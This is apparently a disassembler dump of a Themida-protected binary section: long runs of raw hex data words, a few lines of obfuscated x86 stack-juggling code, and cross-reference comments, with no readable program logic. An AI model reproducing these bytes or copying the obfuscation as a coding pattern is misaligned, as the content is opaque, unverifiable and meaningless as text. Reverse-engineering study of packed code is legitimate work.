dd 0FFFA0B57h, 0A237CEFFh, 9B30CFFBh, 962BC6F4h, 9025C0EFh
dd 861BB6E9h, 0E518D3EBh, 0E310B74Ch, 0DC0EB54Ah, 0DD0DB449h
dd 7AE8B54Ah, 96801B8Ch, 414F6643h, 28CF6A98h, 2CD9A58Fh
dd 3AC168F9h, 1788760Ah, 6249A3F2h, 0AB59EE8Fh, 9037D602h
dd 62EA0DF7h, 7B24D46Ah, 7A08AF4Eh, 0A3F21B8Ch, 0F2936649h
dd 0F1FD6E5Ch, 754849A3h, 0F80F458Bh, 0D7AA47A2h, 0E6F76430h
dd 4124439Ch, 0CAE4F1F7h, 71F61FB5h, 5A000003h, 0E999C03Eh
dd 0A3F28AFBh, 5DE4F449h, 89BB51C4h, 21442E01h, 1D0BA199h
dd 47A26F73h, 0C8D45B2Eh, 0B8797892h, 67967C04h, 0ED8E27CEh
dd 0F18F6957h, 0D7AA4435h, 4F2A230h, 402FF193h, 0E9A20BDEh
dd 0AA156D01h, 0A830533Dh, 0E02C1AB0h, 0A73E2E16h, 65953ED4h
dd 66963DD2h, 2CEFF9CFh, 0DC0BF313h, 3A05Bh, 50E51600h
dd 4DE814BBh, 48E311B8h, 44DD0CB3h, 3CD508AFh, 39F40CA7h
dd 2FD66B06h, 27CE6302h, 26CD62F5h, 0FDCA5FF6h, 7F30A18Fh
dd 647B4396h, 8A820A92h, 0C1B371F4h, 9591593h, 0BE29171Fh
dd 5479874h, 61931444h, 0E57E25C6h, 10FEAE44h, 4395D49Fh
dd 252D17EAh, 23B8497Ch, 0A46FF275h, 0E7C187D7h, 98012F95h
dd 1C06050Eh, 0A64DE81Bh, 0FC2722DAh, 0E382B2B9h, 615CF50Dh
dd 5DDE0DFAh, 31Dh, 2EC36293h, 27BC5B87h, 22B75280h, 1CB14C7Bh
dd 1AAF4275h, 79AC677Fh, 7FAC53E8h, 78AA51E6h, 71A148DDh
dd 67441D6h, 967FA718h, 9DBF243h, 699C820Ah, 801B49D8h
dd 6EA049DFh, 0F3E1E9D3h, 47992088h, 0C755FCCFh, 6B55F01Eh
dd 9680B825h, 37CAFC43h, 0A3140290h, 0EE439680h, 0C65F8C1Bh
dd 99A7781Fh, 0A14F79Dh, 0BC2E11C4h, 0E20EB71Fh, 19039C43h
dd 20F25h, 0FC2C8900h, 0C0006DA1h, 0A37961D2h, 70D9AC49h
dd 21C25D92h, 2FC3F37Ah, 0A3CED041h, 4FE21449h, 0BE53F4C7h
dd 0DF756DF5h, 8F7D0336h, 49A3CE1Eh, 0BF59669h, 0E46B1503h
dd 532647A2h, 449B1EACh, 76E7D5E0h, 0C1439CCDh, 0C39F85EEh
dd 0DA478D77h, 7439CB5h, 68D9C777h, 0B3439CB5h, 8D9BF6E0h
dd 0B5F98A4Bh, 4C501Fh, 0CF780000h, 162099Ch, 0A229A421h
dd 0E1CB6CFFh, 9C820A15h, 503ED46Dh, 49A3F2DFh, 20B6572Ah
dd 5AC4B77h, 16B74E7Eh, 0F174242Ch, 0D34CB46Ah, 0B513BA9h
dd 47A22689h, 6E3AE1B4h, 439C0601h, 0FBFD4B2Eh, 1FB6ABDAh
dd 0F800h, 0FC2C6400h, 0FA2AD369h, 66D7C55Bh, 0B149A3F2h
dd 54DBF4DEh, 0FDEB9B21h, 49A3F28Ch, 0BF3004D7h, 0A49A3F2h
dd 42B3A137h, 8D49A3F2h, 0EB7219BAh, 0EE751CBBh, 0E19127BEh
dd 0A3F282F3h, 10FACD49h, 0EE861D09h, 0E61649A3h, 9236B94Fh
dd 0D330F697h, 49F7FEE8h, 0E9D36EA0h, 25583EC6h, 0D255EB8Ch
dd 72D64272h, 0ACB49ECFh, 9C2234BEh, 82AE6F47h, 0FCAC42E3h
dd 20892453h, 2B9449B4h, 0F8F9E351h, 0E9972CC5h, 0D6B11440h
dd 0A33E4054h, 851EC566h, 729001EFh, 8DB439Ah, 57EA1D1Eh
dd 66A01381h, 0B73867FAh, 149h, 62F78EBFh, 5BF08FBBh, 56EB86B4h
dd 50E580AFh, 46DB76A9h, 0A5D893ABh, 0A3D0770Ch, 9CCE750Ah
dd 9DCD7409h, 3AA8750Ah, 967DDB4Ch, 3D0F2643h, 4CA0F92Ch
dd 41590CCAh, 0DD8B20C1h, 0B7CE3F2Dh, 461949A3h, 0EDEE6DDDh
dd 8F790DD1h, 32C75E8Eh, 69FC2CC0h, 6C0B3BC2h, 0C73826D6h
dd 1249A3F2h, 86B12077h, 9AAE46Eh, 0C74F181Fh, 629039CFh
dd 9D8720C7h, 1DD3A795h, 33DC47A3h, 2AC36A05h, 0DD734640h
dd 8D7B0134h, 439C8D1Ch, 5DF39467h, 4C9EF6DAh, 0C01A831Eh
dd 7F867003h, 9C812693h, 9B3A6A43h, 0AB2C5F06h, 0A13AE17Ch
dd 96D85900h, 4E000000h, 0A795820Ah, 49A3F236h, 770DAE81h
dd 99201A89h, 0AB996147h, 4396803Ah, 36AA16A4h, 66EE63C2h
dd 0C44BF293h, 0C56C0194h, 8F5B0295h, 61C7F6ACh, 0CE4CADDCh
dd 7BDC2EC8h, 35BC6304h, 64C56C07h, 0C3B7B317h, 6B3CEB77h
dd 29561DDh, 46DA0A34h, 6410E758h, 0E57C511Dh, 0FB1C93DEh
dd 6AFFA073h, 11FF93C3h, 1D648CA0h, 0E17718EBh, 0F8C6585Eh
dd 0A38DEBE5h, 39D4038Ah, 0AE312792h, 0DB3450D4h, 0CE2913FFh
dd 0FA6D640h, 4A3D37Ah, 3DC5Dh, 5E520000h, 6AFB2C7Ch, 790C3CC3h
dd 7E194BD2h, 8A2350D7h, 98295CE3h, 9E376AF1h, 0A84170F7h
dd 0B14C7A01h, 0B857830Ah, 55686711h, 89000034h, 8953241Ch
dd 4C381E3h, 81000000h, 4EBh, 241C8700h, 2404895Ch, 8904EC83h
dd 0B951240Ch, 60D722Dh, 0C8BC889h, 4C48324h, 240C8B54h
dd 5304C483h, 5989C389h, 241C8B08h, 8B04C483h
db 0Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_544543
; ---------------------------------------------------------------------------
dd 0AF51FEEBh, 0B8DAFAA8h, 60D76DBh, 0E0FFC503h, 24361FE7h
dd 5250E866h, 20FD2388h, 65E85D8Ch, 1BA50558h, 72821150h
dd 6E8h, 0ACE29300h, 66CD1C2Eh, 26FEF381h, 0BF0F605Fh
dd 6173B7CFh, 5B4AC781h, 0FE90000h, 0AF000000h, 0E14FE3BBh
dd 0B6989116h, 19229C34h, 2BBA060Dh, 810D4BBEh, 4BA785EAh
dd 0CE80Dh, 0A8F0000h, 193DA073h, 0FCB51C76h, 0F381F288h
dd 650A7390h, 0BB37FF5Bh, 366E247Ch, 0F1816658h, 0F0819CDCh
dd 2ECDA688h, 12E3BE66h, 6D7F081h, 0BF0F1775h, 9E881D8h
dd 661BA157h, 50451AB9h, 78FDA8Bh, 0F03EF83h, 80h, 0CB814F00h
dd 351EB8B4h, 0F01EA83h, 0E85h, 19E900h, 7A0A0000h, 0D195A6D5h
dd 6661A9A6h, 20B4D181h, 0FFFFA0E9h, 37E7ACFFh, 8DE994ECh
dd 0D78F68Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1804h, 0C3534300h, 1F4E0D51h, 0ED858994h, 8906071Fh
dd 71AD98Dh, 65BD0306h, 8B060708h, 72FE595h, 1D85C706h
dd 0C0060710h, 8900005Eh, 719519Dh, 585C706h, 60733h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h
dd 45000000h, 3F7C355h, 72049B5h, 0E9B5FF06h, 6A06070Bh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h
dd 47000000h, 0B845C357h, 34433346h, 185995FFh, 8C0F0607h
dd 1Ah, 0EE8h, 34986F00h, 807FD7CEh, 1A8F279Ah, 8B95DB3Dh
dd 713C9BDh, 6A5A06h, 0D6995FFh, 0C08B0607h, 0C8F45EEBh
dd 4DA818F5h, 4313CEB8h, 2391E3A5h, 0DF005316h, 0AF57CC1Ch
dd 0FD7FAA9Eh, 373079D9h, 0BF3F0B3Fh, 0DF698791h, 912E5BCFh
dd 3A4B9540h, 0CA37D555h, 0C2241F1h, 3F1F9F28h, 3E3CBD63h
dd 21D4DB76h, 0F1A6E9FAh, 0CF781E5h, 0E325256Fh, 0A10C7111h
dd 0C293F10Ch, 0E419EB38h, 765565h, 7A708D8Dh, 6A060Dh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 5C8031C3h, 0ABA0D127h, 6646DA38h, 899482BFh, 71AD98Dh
dd 118D8906h, 0C706070Ah, 7101D85h, 5FF806h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 0CC864EE2h, 0D5941881h, 6FF1C081h, 85C70A4Ch, 6073305h
dd 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 9FC35141h
dd 800F93C5h, 5, 297A4DBEh, 0D3B70F27h, 2639B5FFh, 6A0607h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 8A0170C3h, 8DBE2264h, 0E96A837Eh, 8, 573F333Eh, 164E72A8h
dd 185995FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 635D0C3h, 0C5C6800Bh, 0D3DBD8Bh
dd 0F3810607h, 483D895Ch, 95FF006Ah
db 69h, 0Dh, 7
byte_5A422F db 6 ; DATA XREF: Themida_:0053D1D0o
dd 4CEBC08Bh, 464BB1CFh, 3B25EDD8h, 0BCE2070h, 0F1F7CC3Ch
dd 0BC60FDE4h, 5DA888A2h, 8266115Eh, 0DC4D84A6h, 2700CBECh
dd 0EA757DF5h, 0A5F925FBh, 78B7871h, 168A4BC5h, 6055D774h
dd 0C68A9BA4h, 1F2133E8h, 39654041h, 341B3413h, 0FF75E063h
dd 0BE8h, 0BDBA0500h, 14102CCDh, 0FA269E53h, 0E6D9D8Bh
dd 335E0607h, 71E298Dh, 47C68106h, 60000059h, 0D3DB531h
dd 0E6810607h, 4981FEFEh, 2E66BA61h, 0F28130D9h, 30D93853h
dd 0F53E8BF5h, 289CF781h, 8D8B56AFh, 60722EDh, 6CE1F781h
dd 81F968C4h, 28D9E5C7h, 0F9BD8934h, 57060700h, 3F99D89h
dd 68F0607h, 1211858Bh, 0EE830607h, 4AFC8A04h, 0FFC3850Fh
dd 0C0B0FFFFh, 5E8h, 2C95A300h, 8166A538h, 5F1E92C0h, 1A619589h
dd 0C7810607h, 65B4h, 0E5EAB866h, 0CA374AB9h, 6F18133h
dd 133CA2Eh, 71F5585h, 8B37FF06h, 71B4D95h, 81F95B06h
dd 8B34E3C3h, 0CCC38154h, 2B2684CEh, 714CDB5h, 4CC38106h
dd 531A2651h, 1091858Bh, 535A0607h, 0A71860BAh, 81078F11h
dd 0CC12CEF2h, 1EF8308h, 4FD0B70Fh, 9D314F4Fh, 60719A5h
dd 0F01E983h, 0FFFFB085h, 6800FFFh, 89000000h, 707BD8Dh
dd 6C8D8D06h, 8B060D7Ch, 71F75B5h, 0D98D8906h, 6A06071Ah
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h
dd 47000000h, 0EFBAC357h, 2D001110h, 0CA3EA813h, 87F08166h
dd 1D85C793h, 0DC060710h, 6A000068h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0F1B1C356h
dd 0E0DF749Eh, 0BF0F7011h, 0D08166C6h, 85C73948h, 6073305h
dd 0
dd 0C91B52Bh, 0B5FF0607h, 60712B5h, 2A219D89h, 95FF0607h
dd 6071859h, 0F59D8957h, 5E06071Fh, 95FF006Ah, 6070D69h
dd 68EBC08Bh, 0CAEC4D14h, 0CAE7C998h, 0D565C01h, 0F30B638Dh
dd 0EE8929A1h, 247F1B1Dh, 0AA0F6E69h, 112F4736h, 2D6759A5h
dd 608AE520h, 0DA15E043h, 3174E8B1h, 0CBF4431h, 0D930FB37h
dd 3F71E2F6h, 0A3EBEA85h, 0D94B22E6h, 0B819074Fh, 39309B7Ah
dd 61247730h, 76777293h, 5B0BEBF2h, 2F49B3BAh, 160F0AA3h
dd 401AE8A7h, 4530B784h, 7D8C8D8Dh, 6A060Dh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 160424h, 55450000h, 19D2F8C3h
dd 81DE8B66h, 0C4FA45DBh, 0D98D892Eh, 0C706071Ah, 7101D85h
dd 5A2C06h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1504h, 0C3564600h, 8F0FB66Ch, 6, 1F85B529h, 8D010607h
dd 6072975h, 330585C7h, 607h, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 140424h, 56460000h, 0FFFC0EC3h
dd 71531B5h, 0B2BF5706h, 5A4F3084h, 185995FFh, 950B0607h
dd 6072649h, 95FF006Ah, 6070D69h, 9EBC08Bh, 1FFC527Bh
dd 59C7B2B2h, 798D8DD1h, 6A060D7Eh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 465CC353h
dd 0C45A02Bh, 9E8818D5h, 28ED9523h, 8D890607h, 6071AD9h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0C6C35040h
dd 0C79FF97Fh, 7101D85h, 66C806h, 0FBBF0F00h, 330585C7h
dd 607h, 12E90000h, 3C000000h, 2BCFAFCEh, 2E09A5Bh, 589C2A82h
dd 797BA4C0h, 0C5B5FF72h, 0F060707h, 95FFF0BFh, 6071859h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 2CC35141h
dd 9A26F93h, 36856307h, 0FE8h, 0FA84A500h, 0BD3D1C7Eh
dd 0CA4FE666h, 32DA3CF9h, 4830Fh, 0BA660000h, 8B5F956Fh
dd 0FF006AD8h, 70D6995h, 0EBC08B06h, 6719EC2Ah, 6C04B96Dh
dd 0F1FE8B61h, 0AC15BA2Dh, 453A5B8Bh, 0E17DC95Eh, 12DCABF4h
dd 4BCE605Fh, 0C8600925h, 8A2A2811h, 0E82926DFh, 0Eh, 5909A6Bh
dd 0B1D6BBD4h, 950667ACh, 800F51B1h, 0
dd 0F38B6659h, 753DC181h, 0F5BE0000h, 0B824D348h, 0
dd 148BD98Bh, 499D8B01h, 81060710h, 5A5B2EEAh, 6850F70h
dd 89000000h, 71B2D8Dh, 74F28106h, 892E4D77h, 713C18Dh
dd 0AFF28106h, 0F5A12BAh, 8952F9B7h, 72B658Dh, 1048F06h
dd 5810Fh, 2EBB0000h, 815796BAh, 0CB0FF9E6h, 3E88314h
dd 6648F78Bh, 810735BFh, 0FF8B54F8h, 9F850FFFh, 60FFFFFFh
dd 1EF9858Bh, 0ECB10607h, 2C8D8D61h, 0E9060D80h, 0Bh, 4486962Eh
dd 55199A0Ah, 89DB60B2h, 71AD98Dh, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 9ABAF2Ah, 917488BEh
dd 5E50F5EEh, 101D85C7h, 6FD00607h, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 74BA82C3h
dd 2F7B02DBh, 0D18B3145h, 330585C7h, 607h, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 6A6CD7C3h, 65DE6B3Dh, 660910F7h, 0B5FFD18Bh, 6070BE9h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 73C35242h
dd 128B25FDh, 67CDE644h, 665BB701h, 0DB1ACF81h, 185995FFh
dd 858B0607h, 60712C1h, 95FF006Ah
db 69h, 0Dh, 7
byte_5A47EB db 6 ; DATA XREF: Themida_:0053F4C4o
dd 5EEBC08Bh, 0B3F3730h, 8791BF3Fh, 5BCFDF69h, 9540912Eh
dd 0D5553A4Bh, 41F1CA37h, 9F280C22h, 0BD633F1Fh, 0DB763E3Ch
dd 0E9FA21D4h, 81E5F1A6h, 256F0CF7h, 7111E325h, 0F10CA10Ch
dd 0EB38C293h, 5565E419h, 97D80076h, 0CA9AE530h, 0DB977946h
dd 0C0F71507h, 0FDBB11CDh, 764DA6BDh, 37FED928h, 7E8B02Dh
dd 0D4000000h, 0D37AC04Eh, 958949B5h, 6071381h, 0C870F5Eh
dd 0F000000h, 682h, 800F00h, 81000000h, 685EC6h, 52EA8000h
dd 68h, 0C1816600h, 8B5FFD98h, 702E585h, 3734FF06h, 12198D01h
dd 0E95B0607h, 6, 14FB1B59h, 0F3817B5Ch, 38D8AC78h, 14E8h
dd 22DB5400h, 8D6829AEh, 9596EF10h, 0B6EB2FC1h, 195246F5h
dd 5D9D291Dh, 5906070Ah, 72D3C381h, 81F55D27h, 6FE133EBh
dd 0DD8D8B6Dh, 53060700h, 8E8h, 0D0754300h, 0EA32BD71h
dd 0BFE18052h, 3E048F5Ah, 0F9C8F080h, 0B403EF83h, 0FF814F5Ah
dd 0FFFF9858h, 0FF87850Fh, 6657FFFFh, 506ADA81h, 11E859h
dd 117B0000h, 9339E5D9h, 13D9374Ah, 0BD3F19D4h, 0BB8C0FE0h
dd 243A7A1Ch, 58D0F59h, 0BB000000h, 407010D6h, 5EE2C181h
dd 7E90000h, 0C7000000h, 0FE49B0A9h, 7768D327h, 66000017h
dd 605EFE8Bh, 6E960h, 795F0000h, 0EBF02A8Eh, 61FAB70Fh
dd 13E9h, 1901600h, 2FC7E8AAh, 649A5791h, 581C2B32h, 8F71D240h
dd 8B018B61h, 70881BDh, 74F08106h, 0E91A234Bh, 13h, 0EEEFB854h
dd 0AE781EABh, 475945C7h, 98B16A18h, 813420D6h, 5BB6A3F0h
dd 0F281662Ch, 0E8815400h, 3E2F7B39h, 953350F5h, 60720E5h
dd 11E9018Fh, 0B2000000h, 0ED04E821h, 393E89D9h, 58EDDDC6h
dd 8BF2560Bh, 0BF03E983h, 10AD307h, 0BE949h, 70F90000h
dd 72C18E5Eh, 8D7D7D2Dh, 850F4E53h, 14h, 26E9F8h, 2DD90000h
dd 839FFCD2h, 356D2B29h, 2CA65AF1h, 18718501h, 6AE90607h
dd 0B7FFFFFFh, 402F90A4h, 0A5E89883h, 0C090EF3Ah, 8E8h
dd 4A430200h, 0EACC61C7h, 5EEE8AECh, 9E9h, 0E392DB00h
dd 192C2414h, 0C681C427h, 6F84h, 2925BD8Bh, 0EBBA0607h
dd 8174344Eh, 343345EAh, 91BD8974h, 8B060705h, 6840F06h
dd 81000000h, 0BF224DD7h, 8DF08131h, 8B25E4CBh, 729E19Dh
dd 1DC08106h, 29198DDDh, 7052D8Dh, 0F8E88106h, 897CA988h
dd 72C918Dh, 66068906h, 3F0AD181h, 6001EE83h, 12E9h, 0C0EAD800h
dd 959ADE86h, 817D295Dh, 28EBD95Fh, 664BF174h, 618479B9h
dd 604E4E4Eh, 14E9FCh, 0CE5B0000h, 6FC4BF4Ch, 0BDAF8C0Dh
dd 0D978BF10h, 9943272Eh, 4A61C93Eh, 18850Fh, 3EB90000h
dd 0E95EFBF9h, 31h, 0F4D90E84h, 0C45685C3h, 0F9BF1714h
dd 6E9015Fh, 14000000h, 0B00EFDD2h, 0FF59E924h, 67EBFFFFh
dd 1FD771Fh, 13672F8Dh, 766D12AAh, 96A46D08h, 0EE8ECh
dd 0E4270000h, 0E09C52DBh, 18BC9634h, 0EB9D67C9h, 2F69958Bh
dd 815F0607h, 83B08EBh, 44C78149h, 0F00005Bh, 3BED9BFh
dd 81397184h, 719286F6h, 0E837FF39h, 10h, 0A99C518Dh, 53C6D74Fh
dd 4D4A0130h, 9230EE52h, 5859DA8Bh, 0BE860h, 0EDD80000h
dd 20703B25h, 0CC3C0BCEh, 0DD9D8BF7h, 5F060704h, 4CC08161h
dd 0E958E2DBh, 6, 0A92724EDh, 0F08185D0h, 675426BBh, 35958B60h
dd 0F06072Fh, 1882h, 12E800h, 0B6190000h, 78C72B3Bh, 63606A91h
dd 0D570B66Ch, 0CF16A764h, 0F081615Bh, 8FA24AEh, 0BD1B589h
dd 7890607h, 0FE8h
db 0
byte_5A4BC9 db 0DFh, 76h, 8Ah ; DATA XREF: Themida_:0053DB2Co
dd 0C2DB3453h, 35B36630h, 0A777F967h, 0EE9h, 0ECAB6400h
dd 741D31A8h, 0B12DBE54h, 59168B59h, 7A26EF81h, 85895C46h
dd 60702F1h, 7A22C781h, 8D315C46h, 607136Dh, 0F01EE83h
dd 2885h, 8E800h, 0DFF80000h, 79A00FC4h, 6660C359h, 224CCE81h
dd 61FB8B66h, 20E959h, 91A40000h, 0E386BFFEh, 20CC7768h
dd 7D95290Ah, 0E9060728h, 0FFFFFF05h, 0E81A00A8h, 27C63317h
dd 7582B32Bh, 690889A0h, 0A6DC7814h, 2249FF8Dh, 0A12E8636h
dd 25908635h, 25480AD9h, 0E4990530h, 25148124h, 2576023Fh
dd 98078630h, 23458321h, 57A58930h, 0E3908630h, 22414BB5h
dd 7D4CC836h, 0A4868ACCh, 0E11A204h, 907BBA7Eh, 234592F1h
dd 551903BDh, 0F56F803Ah, 0A08E76BBh, 23238FFDh, 16F7EE7Eh
dd 11886ED0h, 87602314h, 34F77970h, 0A8278135h, 2FE0BEB5h
dd 0AE987936h, 25343FC8h, 2DFB8630h, 83098630h, 258A033Fh
dd 2E0B8630h, 0D5A489F9h, 0CC6F79CFh, 2548863Dh, 6EBF1BBDh
dd 20AA8037h, 0DA098630h, 0AE390BD3h, 0A8448BB4h, 28A4CEBDh
dd 823E36h, 0EA630000h, 75826FF1h, 690889A0h, 0A6DC7814h
dd 2249FF8Dh, 0A12E8636h, 25908635h, 25480AD9h, 83990530h
dd 0A4F305E9h, 22B9h, 218D8D00h, 8B060D86h, 718659Dh, 0D98D8906h
dd 5306071Ah, 85C758F8h, 607101Dh, 5B40h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 17h, 34C35545h, 814D45C3h
dd 2A7335C0h, 585C740h, 60733h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 7CA9C355h
dd 0FC6515CDh, 0D328A058h, 2039B5FFh, 6A0607h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
dd 796646C3h, 66822777h, 0FFD193BFh, 7185995h, 29F88B06h
dd 7296D95h, 0FF006A06h, 70D6995h, 0EBC08B06h, 0D5383C4Fh
dd 389BC21Ch, 4A41C9AAh, 97A3EA8Dh, 644FA055h, 0A3713E91h
dd 12F757E4h, 98CC4F18h, 0E492422Bh, 0BD38D464h, 956493F3h
dd 0EBDC32C7h, 3F25694Dh, 0CD76D8A9h, 1ABB68F7h, 0B0A21491h
dd 7C0B8E48h, 0FAADDF57h, 4BC67FEDh, 0E408279Dh, 13E8h
dd 0DEEE7800h, 0B45283F2h, 73D81CABh, 493BFC8Eh, 40EC2307h
dd 7118D8Bh, 0E85A0607h, 12h, 0CF04124Bh, 0D4011236h, 4E8F9BC7h
dd 2D105B09h, 0DF8B99E3h, 2CC28159h, 6600005Fh, 8BB8CF8Bh
dd 8145D715h, 0D6FDF3E8h, 958D8B45h, 8B060702h, 0C4EE8132h
dd 8935F863h, 71F85BDh, 78C68106h, 0F7B0C7Dh, 58Bh, 0C1816600h
dd 0C681B38Fh, 66DF45E4h, 89CFBF0Fh, 0F1816632h, 0EA83AA9Ah
dd 8810F04h, 0F000000h, 289h, 485B5100h, 28850Fh, 0F600000h
dd 284h, 8BCB8B00h, 70E3DBDh, 26E96106h, 1E000000h, 0E6FDBA45h
dd 0B96E2B94h, 0D3E866C7h, 0A8A0D823h, 0FE8BC825h, 0FFFF8AE9h
dd 368ECDFFh, 19FFCFC3h, 65F96500h, 0AA04EB68h, 0E94410E7h
dd 849h, 7A0FA6D7h, 7308A7D3h, 6E039ECCh, 68FD98C7h, 5EF38EC1h
dd 0BDF0ABC3h, 0BBE88F24h, 0B4E68D22h, 0B5E58C21h, 52C08D22h
dd 966AF364h, 19273E43h, 56DC3D70h, 47E1F612h, 3602EC8Dh
dd 0A3F279E7h, 58DBD49h, 0A3F2A617h, 7D1EF149h, 0B1971FE8h
dd 0A43DE47Fh, 0FD7F6D03h, 2847A2FEh, 0F427AE55h, 0C7B54573h
dd 439CDE56h, 862DCEA1h, 10B74CEDh, 179E45E0h, 953062E7h
dd 9D3ED706h, 828C45F6h, 3CD16494h, 0B5D4983Dh, 0B3AB2E1Fh
dd 0A5406DA7h, 0AAAE2A3Ch, 0E552D4F6h, 0CEB859AFh, 53DAh
dd 0F92C3E00h, 8A33C168h, 0EA7D45Bh, 862DCE67h, 0CF0203EDh
dd 395AFF6Eh, 31CA710Ch, 151ABDC8h, 631CCD74h, 9D386BD5h
dd 0CFCC0908h, 210E19AEh, 72000000h, 0C168F92Ch, 0A3F287F5h
dd 52FBE149h, 0C9FB8A23h, 4EE872Eh, 7EB19FA9h, 2AAD4EE3h
dd 23000000h, 4C7AF92Ch, 0D0710AB1h, 0C5F29B29h, 8DF83E28h
dd 0E449A3F2h, 2D3679FCh, 10A1E030h, 0D37DCB26h, 4DE817A0h
dd 0D76C0DA6h, 4C7C2565h, 24ACCFB9h, 36E6962Ch, 0A3F2D748h
dd 654F2249h, 0A2D0611Fh, 92390C47h, 0AD42DD0Bh, 963DD806h
dd 0D76D65EDh, 8707E754h, 6D5711FFh, 1705B565h, 439C7FA6h
dd 608F1EF1h, 9B851EC5h, 9B5CFF55h, 0A0471A41h, 0F422EC35h
dd 0D74836C6h, 223D955Ch, 6F18AE4Fh, 6A03AA3Dh, 0A4D27980h
dd 35966209h, 593D955Ch, 60E78E29h, 82ED942Dh, 802FEF39h
dd 89B761AFh, 8E35D000h, 4DBF54F5h, 2F89810Ah, 0A225C214h
dd 0C30A4A3Eh, 0A0A18B04h, 963FD570h, 0A027CE67h, 4832D36Eh
dd 0D4B4267Ch, 1CAEB411h, 1FEBh, 810A4F00h, 2DCE699Bh
dd 0C63725D3h, 1149A3F2h, 0B125E43Eh, 963FE2Ch, 3E32E4F6h
dd 0A8000000h, 0F0497C25h, 1F41AA59h, 27CE6F85h, 0F881A48Eh
dd 95C16A00h, 254410FAh, 0CAB44D7Ch, 0F263D4C2h, 1DA049A3h
dd 0F97B59DBh, 963B6DC4h, 0B65C781Bh, 98F32B15h, 2CB1253Eh
dd 0F60963FEh, 69FC2CE4h, 71BBF6C2h, 0DE1E499Fh, 1F907E2Eh
dd 6A499F71h, 7152C397h, 74BC499Fh, 2663D42Eh, 0E17043CBh
dd 0D77017B2h, 9A8492EDh, 8F36CB6Ah, 9422C95Ch, 3721BCEBh
dd 51840336h, 0C7781FC0h, 0E316000Eh, 17BEBD52h, 0C519B31Ch
dd 5Ch, 0ADEA6AEDh, 0C899605Eh, 0C46B0639h, 2C75412Bh
dd 34C269FCh, 3BF75E8Bh, 10AE2BE7h, 0B2D5BF60h, 8011442Ah
dd 72A049DFh, 4D256ED7h, 10803E89h, 0C6301E26h, 147A1FDh
dd 0D2730E40h, 0C964933Ch, 869F8922h, 0EAFF82C2h, 0F12C6C8Bh
dd 94E4EB54h, 8DB20162h, 50FE48A3h, 7EF08520h, 0C269FC2Ch
dd 3999119h, 0A2F7A715h, 0E3BE447h, 12B95481h, 9831D879h
dd 0E7A31402h, 1BEE439Ch, 0CF643731h, 89810A5Dh, 7B1A4AF3h
dd 0C214C591h, 0D369FC2Ch, 0C2D28050h, 958AF392h, 0BAEA795Dh
dd 2665311Bh, 0B411D4B4h, 4CEB1CAEh, 4F000000h, 2F89810Ah
dd 0F2C63725h, 800349A3h, 5C9A6BB2h, 0F0EAD469h, 0ACDE871Dh
dd 25632F19h, 0CB34E7Ch, 20B1E473h, 25BA2E36h, 9190C5A2h
dd 69FF260Fh, 0A3530A7Bh, 98825549h, 74CE6997h, 7C25E4F6h
dd 7912B94Ch, 33948Fh, 0A0A0000h, 70F38981h, 615F84F7h
dd 0F590BFEAh, 2A14B54Eh, 8775255Eh, 49A3F216h, 9CA48E61h
dd 791443ECh, 0F2D8498Fh, 8AE549A3h, 2CB12530h, 0F60963FEh
dd 877525E4h, 49A3F216h, 0A3A48E61h, 9F2DD473h, 432DC8F6h
dd 9F71C2FDh, 3CE52549h, 71D2790Ch, 0ECA7F6BFh, 9F892A16h
dd 1C4CFA44h, 1A4DF489h, 0D46EF187h, 0E93EB4F7h, 0E5738C76h
dd 0E770A3Ch, 0BD5C93FCh, 0FAFBE549h, 0E8982EC7h, 9FBA89FAh
dd 1701D449h, 8A944DFEh, 0F3CE595h, 0BA31A276h, 4575499Fh
dd 6D572AB2h, 13A8396Ch, 0B2F7C114h, 3C1B19h, 2C7F0000h
dd 19C269FCh, 5A039991h, 4DE68D28h, 0FB6D5B63h, 3847A2EDh
dd 0AADC5D8Fh, 36D77017h, 0D87F524Ch, 82B78114h, 0EE73E4D2h
dd 0F6BE439Ch, 9CEE9708h, 6E0FE243h, 0B4538384h, 0A225AD1Fh
dd 0D3C1A66Ah, 49A3D362h, 0AF71DAADh, 74755F30h, 721BB144h
dd 6700A746h, 33BB647Dh, 0F1871A4Dh, 0A35E9203h, 690ADD49h
dd 5AA3E5D3h, 7B4E47A2h, 810A74E6h, 0C2142F89h, 0F69FC2Ch
dd 11D4B426h, 0EB1CAEB4h, 38h, 9B810A4Fh, 7DEEDC6Ch, 0C849A3F2h
dd 14AD54F5h, 37251973h, 49A3F2C6h, 25E43E11h, 63FE2CB1h
dd 4F7C2509h
